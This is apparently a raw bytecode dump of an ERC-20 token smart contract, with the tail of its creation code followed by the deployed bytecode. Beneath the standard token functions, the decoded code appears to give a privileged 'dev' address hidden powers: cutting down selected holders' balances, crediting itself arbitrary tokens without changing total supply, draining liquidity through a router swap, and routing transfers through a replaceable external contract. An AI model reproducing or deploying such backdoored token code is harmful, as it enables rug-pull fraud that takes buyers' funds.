28036833780820191505090505b509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7484846040518363ffffffff1660e01b8152600401610d199291906127cb565b600060405180830381865afa158015610d36573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610d5f919061291f565b9050610d863082600081518110610d7957610d786123df565b5b6020026020010151611a4f565b60006104b042610d9691906125fc565b9050610dcd30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610dc830610ea8565b611396565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee8584600081518110610e2057610e1f6123df565b5b60200260200101518689866040518663ffffffff1660e01b8152600401610e4b959493929190612968565b6000604051808303816000875af1158015610e6a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610e93919061291f565b505050505050505b505050565b600042905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ef961138e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7d90612a0e565b60405180910390fd5b610f906000611ba6565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610fca906123ae565b80601f0160208091040260200160405190810160405280929190818152602001828054610ff6906123ae565b80156110435780601f1061101857610100808354040283529160200191611043565b820191906000526020600020905b81548152906001019060200180831161102657829003601f168201915b5050505050905090565b60008061105861138e565b9050600061106682866111f7565b9050838110156110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290612aa0565b60405180910390fd5b6110b88286868403611396565b60019250505092915050565b6000806110cf61138e565b90506110dc8185856115eb565b600191505092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661112861138e565b73ffffffffffffffffffffffffffffffffffffffff16036111f457600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612b0c565b60405180910390fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61128661138e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611313576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130a90612a0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137990612b9e565b60405180910390fd5b61138b81611ba6565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fc90612c30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b90612cc2565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115529190612117565b60405180910390a3505050565b600061156b84846111f7565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146115e557818110156115d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ce90612d2e565b60405180910390fd5b6115e48484848403611396565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361165a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165190612dc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c090612e52565b60405180910390fd5b6116d4838383611c6a565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561175b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175290612ee4565b60405180910390fd5b818103600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161184b9190612117565b60405180910390a361185e848484611e43565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ca90612f76565b60405180910390fd5b6118df82600083611c6a565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195d90613008565b60405180910390fd5b818103600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a1a9190612117565b60405180910390a3611a2e83600084611e43565b505050565b6000738672fc820d0ed4f2a002c4cc675ebb2350db55c6905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab590613074565b60405180910390fd5b611aca60008383611c6a565b8060066000828254611adc91906125fc565b9250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b8e9190612117565b60405180910390a3611ba260008383611e43565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b611c7383611e48565b15611d0857600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633021ed1083836040518363ffffffff1660e01b8152600401611cd5929190613094565b600060405180830381600087803b158015611cef57600080fd5b505af1158015611d03573d6000803e3d6000fd5b505050505b60011515600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663315d82af6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d9d91906130e9565b151503611e3e57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b0a943228483611ded86611e48565b6040518463ffffffff1660e01b8152600401611e0b93929190613116565b600060405180830381600087803b158015611e2557600080fd5b505af1158015611e39573d6000803e3d6000fd5b505050505b505050565b505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480611ef35750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611f015760019050611f06565b600090505b919050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f4a82611f1f565b9050919050565b611f5a81611f3f565b8114611f6557600080fd5b50565b600081359050611f7781611f51565b92915050565b600060208284031215611f9357611f92611f15565b5b6000611fa184828501611f68565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fe4578082015181840152602081019050611fc9565b60008484015250505050565b6000601f19601f8301169050919050565b600061200c82611faa565b6120168185611fb5565b9350612026818560208601611fc6565b61202f81611ff0565b840191505092915050565b600060208201905081810360008301526120548184612001565b905092915050565b6000819050919050565b61206f8161205c565b811461207a57600080fd5b50565b60008135905061208c81612066565b92915050565b600080604083850312156120a9576120a8611f15565b5b60006120b785828601611f68565b92505060206120c88582860161207d565b9150509250929050565b60008115159050919050565b6120e7816120d2565b82525050565b600060208201905061210260008301846120de565b92915050565b6121118161205c565b82525050565b600060208201905061212c6000830184612108565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261215757612156612132565b5b8235905067ffffffffffffffff81111561217457612173612137565b5b6020830191508360208202830111156121905761218f61213c565b5b9250929050565b600080600080606085870312156121b1576121b0611f15565b5b600085013567ffffffffffffffff8111156121cf576121ce611f1a565b5b6121db87828801612141565b945094505060206121ee8782880161207d565b92505060406121ff8782880161207d565b91505092959194509250565b60008060006060848603121561222457612223611f15565b5b600061223286828701611f68565b935050602061224386828701611f68565b92505060406122548682870161207d565b9150509250925092565b600060ff82169050919050565b6122748161225e565b82525050565b600060208201905061228f600083018461226b565b92915050565b6000602082840312156122ab576122aa611f15565b5b60006122b98482850161207d565b91505092915050565b6000806000606084860312156122db576122da611f15565b5b60006122e986828701611f68565b93505060206122fa8682870161207d565b925050604061230b86828701611f68565b9150509250925092565b61231e81611f3f565b82525050565b60006020820190506123396000830184612315565b92915050565b6000806040838503121561235657612355611f15565b5b600061236485828601611f68565b925050602061237585828601611f68565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806123c657607f821691505b6020821081036123d9576123d861237f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124778261205c565b91506124828361205c565b9250826124925761249161240e565b5b828204905092915050565b60006124a88261205c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036124da576124d961243d565b5b600182019050919050565b60006dffffffffffffffffffffffffffff82169050919050565b612508816124e5565b811461251357600080fd5b50565b600081519050612525816124ff565b92915050565b600063ffffffff82169050919050565b6125448161252b565b811461254f57600080fd5b50565b6000815190506125618161253b565b92915050565b6000806000606084860312156125805761257f611f15565b5b600061258e86828701612516565b935050602061259f86828701612516565b92505060406125b086828701612552565b9150509250925092565b6000815190506125c981611f51565b92915050565b6000602082840312156125e5576125e4611f15565b5b60006125f3848285016125ba565b91505092915050565b60006126078261205c565b91506126128361205c565b925082820190508082111561262a5761262961243d565b5b92915050565b7f416d6f756e742045786365656473204c696d6974730000000000000000000000600082015250565b6000612666601583611fb5565b915061267182612630565b602082019050919050565b6000602082019050818103600083015261269581612659565b9050919050565b60006126a78261205c565b91506126b28361205c565b92508282026126c08161205c565b915082820484148315176126d7576126d661243d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61274281611f3f565b82525050565b60006127548383612739565b60208301905092915050565b6000602082019050919050565b60006127788261270d565b6127828185612718565b935061278d83612729565b8060005b838110156127be5781516127a58882612748565b97506127b083612760565b925050600181019050612791565b5085935050505092915050565b60006040820190506127e06000830185612108565b81810360208301526127f2818461276d565b90509392505050565b61280482611ff0565b810181811067ffffffffffffffff82111715612823576128226126de565b5b80604052505050565b6000612836611f0b565b905061284282826127fb565b919050565b600067ffffffffffffffff821115612862576128616126de565b5b602082029050602081019050919050565b60008151905061288281612066565b92915050565b600061289b61289684612847565b61282c565b905080838252602082019050602084028301858111156128be576128bd61213c565b5b835b818110156128e757806128d38882612873565b8452602084019350506020810190506128c0565b5050509392505050565b600082601f83011261290657612905612132565b5b8151612916848260208601612888565b91505092915050565b60006020828403121561293557612934611f15565b5b600082015167ffffffffffffffff81111561295357612952611f1a565b5b61295f848285016128f1565b91505092915050565b600060a08201905061297d6000830188612108565b61298a6020830187612108565b818103604083015261299c818661276d565b90506129ab6060830185612315565b6129b86080830184612108565b9695505050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006129f8602083611fb5565b9150612a03826129c2565b602082019050919050565b60006020820190508181036000830152612a27816129eb565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612a8a602583611fb5565b9150612a9582612a2e565b604082019050919050565b60006020820190508181036000830152612ab981612a7d565b9050919050565b7f6465762063616e2774206265207a65726f2d6164647265737300000000000000600082015250565b6000612af6601983611fb5565b9150612b0182612ac0565b602082019050919050565b60006020820190508181036000830152612b2581612ae9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612b88602683611fb5565b9150612b9382612b2c565b604082019050919050565b60006020820190508181036000830152612bb781612b7b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612c1a602483611fb5565b9150612c2582612bbe565b604082019050919050565b60006020820190508181036000830152612c4981612c0d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612cac602283611fb5565b9150612cb782612c50565b604082019050919050565b60006020820190508181036000830152612cdb81612c9f565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612d18601d83611fb5565b9150612d2382612ce2565b602082019050919050565b60006020820190508181036000830152612d4781612d0b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612daa602583611fb5565b9150612db582612d4e565b604082019050919050565b60006020820190508181036000830152612dd981612d9d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612e3c602383611fb5565b9150612e4782612de0565b604082019050919050565b60006020820190508181036000830152612e6b81612e2f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612ece602683611fb5565b9150612ed982612e72565b604082019050919050565b60006020820190508181036000830152612efd81612ec1565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f60602183611fb5565b9150612f6b82612f04565b604082019050919050565b60006020820190508181036000830152612f8f81612f53565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ff2602283611fb5565b9150612ffd82612f96565b604082019050919050565b6000602082019050818103600083015261302181612fe5565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600061305e601f83611fb5565b915061306982613028565b602082019050919050565b6000602082019050818103600083015261308d81613051565b9050919050565b60006040820190506130a96000830185612315565b6130b66020830184612108565b9392505050565b6130c6816120d2565b81146130d157600080fd5b50565b6000815190506130e3816130bd565b92915050565b6000602082840312156130ff576130fe611f15565b5b600061310d848285016130d4565b91505092915050565b600060608201905061312b6000830186612315565b6131386020830185612108565b61314560408301846120de565b94935050505056fea26469706673582212207d54f318a586aa71f8d3cfeed3f9f87bf7453f5a82f41cfb2c932b2ca2698d4864736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000b552b4656f8b0b0b5e021f2796001450a4a375bc

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80635268016b116100b857806395d89b411161007c57806395d89b4114610363578063a457c2d714610381578063a9059cbb146103b1578063cef31734146103e1578063dd62ed3e146103fd578063f2fde38b1461042d57610142565b80635268016b146102d15780635b99d194146102ed57806370a082311461030b578063715018a61461033b5780638da5cb5b1461034557610142565b806323b872dd1161010a57806323b872dd146101eb578063313ce5671461021b57806335d1627414610239578063395093511461026957806342966c68146102995780634609e797146102b557610142565b806306cb5b661461014757806306fdde0314610163578063095ea7b31461018157806318160ddd146101b15780631e673499146101cf575b600080fd5b610161600480360381019061015c9190611f7d565b610449565b005b61016b6104ea565b604051610178919061203a565b60405180910390f35b61019b60048036038101906101969190612092565b61057c565b6040516101a891906120ed565b60405180910390f35b6101b961059f565b6040516101c69190612117565b60405180910390f35b6101e960048036038101906101e49190612197565b6105a9565b005b6102056004803603810190610200919061220b565b610748565b60405161021291906120ed565b60405180910390f35b610223610777565b604051610230919061227a565b60405180910390f35b610253600480360381019061024e9190611f7d565b61078e565b6040516102609190612117565b60405180910390f35b610283600480360381019061027e9190612092565b610923565b60405161029091906120ed565b60405180910390f35b6102b360048036038101906102ae9190612295565b61095a565b005b6102cf60048036038101906102ca9190612295565b6109cb565b005b6102eb60048036038101906102e691906122c2565b610a88565b005b6102f5610ea0565b6040516103029190612117565b60405180910390f35b61032560048036038101906103209190611f7d565b610ea8565b6040516103329190612117565b60405180910390f35b610343610ef1565b005b61034d610f92565b60405161035a9190612324565b60405180910390f35b61036b610fbb565b604051610378919061203a565b60405180910390f35b61039b60048036038101906103969190612092565b61104d565b6040516103a891906120ed565b60405180910390f35b6103cb60048036038101906103c69190612092565b6110c4565b6040516103d891906120ed565b60405180910390f35b6103fb60048036038101906103f69190611f7d565b6110e7565b005b6104176004803603810190610412919061233f565b6111f7565b6040516104249190612117565b60405180910390f35b61044760048036038101906104429190611f7d565b61127e565b005b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661048a61138e565b73ffffffffffffffffffffffffffffffffffffffff16036104e75780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6060600780546104f9906123ae565b80601f0160208091040260200160405190810160405280929190818152602001828054610525906123ae565b80156105725780601f1061054757610100808354040283529160200191610572565b820191906000526020600020905b81548152906001019060200180831161055557829003601f168201915b5050505050905090565b60008061058761138e565b9050610594818585611396565b600191505092915050565b6000600654905090565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105ea61138e565b73ffffffffffffffffffffffffffffffffffffffff16036107425760005b84849050811015610740578261064486868481811061062a576106296123df565b5b905060200201602081019061063f9190611f7d565b610ea8565b111561072d5760008260046000888886818110610664576106636123df565b5b90506020020160208101906106799190611f7d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106be919061246c565b905080600460008888868181106106d8576106d76123df565b5b90506020020160208101906106ed9190611f7d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b80806107389061249d565b915050610608565b505b50505050565b60008061075361138e565b905061076085828561155f565b61076b8585856115eb565b60019150509392505050565b6000600960009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610800573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108249190612567565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d391906125cf565b73ffffffffffffffffffffffffffffffffffffffff161461090457816dffffffffffffffffffffffffffff16610916565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b60008061092e61138e565b905061094f81858561094085896111f7565b61094a91906125fc565b611396565b600191505092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099b61138e565b73ffffffffffffffffffffffffffffffffffffffff16036109c8576109c76109c161138e565b82611864565b5b50565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a0c61138e565b73ffffffffffffffffffffffffffffffffffffffff1603610a85578060046000610a3461138e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a7d91906125fc565b925050819055505b50565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ac961138e565b73ffffffffffffffffffffffffffffffffffffffff1603610e9b57600082118015610af65750620186a082105b610b35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2c9061267c565b60405180910390fd5b6000610b408461078e565b90506000674563918244f400008211610b595782610b62565b610b61611a33565b5b90506000620186a08584610b76919061269c565b610b80919061246c565b90506060600267ffffffffffffffff811115610b9f57610b9e6126de565b5b604051908082528060200260200182016040528015610bcd5781602001602082028036833780820191505090505b5090503081600081518110610be557610be46123df565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508681600181518110610c3457610c336123df565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506060600267ffffffffffffffff811115610c8b57610c8a6126de565b5b604051908082528060200260200182016040528015610cb95781602001602082028036833780820191505090505b509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7484846040518363ffffffff1660e01b8152600401610d199291906127cb565b600060405180830381865afa158015610d36573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610d5f919061291f565b9050610d863082600081518110610d7957610d786123df565b5b6020026020010151611a4f565b60006104b042610d9691906125fc565b9050610dcd30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610dc830610ea8565b611396565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee8584600081518110610e2057610e1f6123df565b5b60200260200101518689866040518663ffffffff1660e01b8152600401610e4b959493929190612968565b6000604051808303816000875af1158015610e6a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610e93919061291f565b505050505050505b505050565b600042905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ef961138e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7d90612a0e565b60405180910390fd5b610f906000611ba6565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610fca906123ae565b80601f0160208091040260200160405190810160405280929190818152602001828054610ff6906123ae565b80156110435780601f1061101857610100808354040283529160200191611043565b820191906000526020600020905b81548152906001019060200180831161102657829003601f168201915b5050505050905090565b60008061105861138e565b9050600061106682866111f7565b9050838110156110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290612aa0565b60405180910390fd5b6110b88286868403611396565b60019250505092915050565b6000806110cf61138e565b90506110dc8185856115eb565b600191505092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661112861138e565b73ffffffffffffffffffffffffffffffffffffffff16036111f457600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612b0c565b60405180910390fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61128661138e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611313576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130a90612a0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137990612b9e565b60405180910390fd5b61138b81611ba6565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fc90612c30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b90612cc2565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115529190612117565b60405180910390a3505050565b600061156b84846111f7565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146115e557818110156115d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ce90612d2e565b60405180910390fd5b6115e48484848403611396565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361165a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165190612dc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c090612e52565b60405180910390fd5b6116d4838383611c6a565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561175b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175290612ee4565b60405180910390fd5b818103600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161184b9190612117565b60405180910390a361185e848484611e43565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ca90612f76565b60405180910390fd5b6118df82600083611c6a565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195d90613008565b60405180910390fd5b818103600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a1a9190612117565b60405180910390a3611a2e83600084611e43565b505050565b6000738672fc820d0ed4f2a002c4cc675ebb2350db55c6905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab590613074565b60405180910390fd5b611aca60008383611c6a565b8060066000828254611adc91906125fc565b9250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b8e9190612117565b60405180910390a3611ba260008383611e43565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffff